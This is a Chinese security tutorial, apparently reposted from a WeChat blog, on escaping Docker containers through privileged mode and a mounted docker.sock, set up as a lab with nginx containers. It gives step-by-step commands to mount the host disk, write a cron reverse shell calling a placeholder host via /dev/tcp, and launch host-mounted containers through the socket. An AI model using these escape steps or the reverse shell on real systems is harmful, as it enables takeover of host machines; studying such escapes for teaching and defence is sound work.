Docker逃逸指南一

admin 2025年6月25日16:46:49评论3 views字数 2608阅读8分41秒阅读模式

Docker逃逸指南一

Docker逃逸指南一

一、特权模式逃逸

        特权模式逃逸是利用Docker特权容器的完整Linux能力(capability),通过挂载宿主机文件系统、加载恶意内核模块等手法,突破容器隔离限制,完全控制宿主机的高危行为。本质是滥用特权容器与宿主机共享内核的特性,将容器权限提升至宿主机root级别。

Docker特权模式(privileged mode)

在Docker中,普通容器通常运行在受限模式下。通过Linux的命名空间和控制组来实现容器与宿主机的隔离,保证宿主机安全。而通过特权模式运行的容器,它允许容器获得几乎与宿主机相同的权限,包括访问所有的设备、加载内核模块、修改网络配置等。

利用前提:

1、受害者容器以特权模式启动。

2、攻击者拿到的容器权限为root。

环境搭建:

        通过特权模式运行一个nginx容器

docker run -d -p 9099:80 --privileged=true --name nginx-test nginx:1.19.3

        查看运行的容器是否为特权模式

docker inspect fd5317c2a31b |grep 'Privileged'

Docker逃逸指南一

漏洞复现:

现在进入到容器,假设我们已经拿到了容器的root权限。

1、判断当前是否为特权容器

特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或 0000001fffffffff

cat /proc/self/status | grep CapEff

Docker逃逸指南一

Tips:CapEff是Linux capability中表示进程有效权限的bitmap。在 Docker特权模式下,该位图的低38位或37位全部被设为1,对应十六进制值0000003fffffffff或0000001fffffffff。二进制每一位1代表一种系统权限(如修改文件所有权、加载内核模块、操作网络等)。所有低位为1表示容器拥有当前内核支持的全部权限。

可以把宿主机比作房间,房间上面有38个锁。每个1就是一把钥匙,我们依次解锁。当所有的锁都打开时,我们就获得了房间的完全控制权。

2、查看盘符信息

fdisk -l

Docker逃逸指南一

创建挂载点,将宿主机文件系统挂载到挂载点。

mkdir /mnt/lvvm && mount /dev/sda3 /mnt/lvvm

Tips:挂载空间大的那个文件系统。

然后就可以愉快的访问宿主机文件了。

Docker逃逸指南一

错误提示:

提示错误mount: /mnt: unknown filesystem type 'LVM2_member'.

原因解答:

LVM2_membe是一个LVM的物理卷(Physical Volume – PV)。物理卷不是一个可以被直接挂载并包含文件系统的设备。文件系统(例如:ext4、xfs)是创建在LVM的逻辑卷(Logical Volume – LV)上的。

解决办法:

pvscan                                 #扫描物理卷vgscan –mknodes                        #扫描卷组vgchange -ay –ignorelockingfailure     #激活卷组和逻辑卷blkid /dev/sda3                        #查看文件系统mkdir -p /mnt/lvvm                     #创建挂载店          mount /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/lvvm    #挂载逻辑卷组

Docker逃逸指南一

Docker逃逸指南一

3、计划任务反弹Shell

直接写入计划任务到磁盘,等待即可。

echo $'*/1 * * * * bash ->& /dev/tcp/xx.xx.xx.xx/Port 0>&1>> /mnt/lvm/var/spool/cron/crontabs/root

Tips:现在相当于磁盘就完全可控,可以根据实际情况判断获取shell方式。经典的就是计划任务,还有其他的一些方式如写ssh-key、内核模块加载、热插拔注入、操作/proc等等。

二、挂载Docker Socket逃逸

        Docker Socket 逃逸(Docker Socket Escape) 是因为管理员挂载了宿主机的Docker Socket到容器内,攻击者从而获得对宿主机Docker守护进程的控制权限的攻击手段。本质是通过Docker API间接控制宿主机。

Docker Socket介绍:

1、Docker Socket是一个Unix域套接字文件,位于 /var/run/docker.sock。它允许容器与Docker守护进程进行通信,通过Docker CLI或API来管理容器、镜像、网络等资源。

2、挂载docker.sock相当于给容器赋予了与宿主机Docker守护进程通信的权限,这意味着容器可以通过Docker API管理宿主机的容器、网络、卷等资源。拥有此文件的读写权限 = 直接控制Docker引擎。

环境搭建:

还是以nginx容器为例。

docker run -d -p 9101:80 -v /var/run/docker.sock:/var/run/docker.sock --name nginx-test3 nginx:1.19.3

漏洞复现:

方法一:

1、查看是否挂载docker sock

ls -lah /var/run/docker.sock

Docker逃逸指南一

2、在容器内安装docker

apt-get install curl -ycurl -fsSL https://get.docker.com | sh      #安装Docker

3、在容器内创建容器

docker run -it -v /:/host ubuntu /bin/bash

然后就可以操作宿主机文件,反弹shell与之前相同即可。

cat /host/etc/hostname

Docker逃逸指南一

方法二:

操作docker.sock,安装docker。

apt update && apt install docker.io -y

(1)查看进程

docker -H unix:///var/run/docker.sock ps -a

Docker逃逸指南一

(2)确认docker版本

curl --unix-socket /var/run/docker.sock http://localhost/version

Docker逃逸指南一

(3)横向其他容器

Docker逃逸指南一

另外大家有什么想了解的其它议题可以在该文下留言,有空我会发文。

微信进群通道已更新,欢迎一起讨论/学习。在公众号菜单里。

Docker逃逸指南一

原文始发于微信公众号(YongYe 安全实验室):Docker逃逸指南一

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月25日16:46:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸指南一http://cn-sec.com/archives/4199312.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息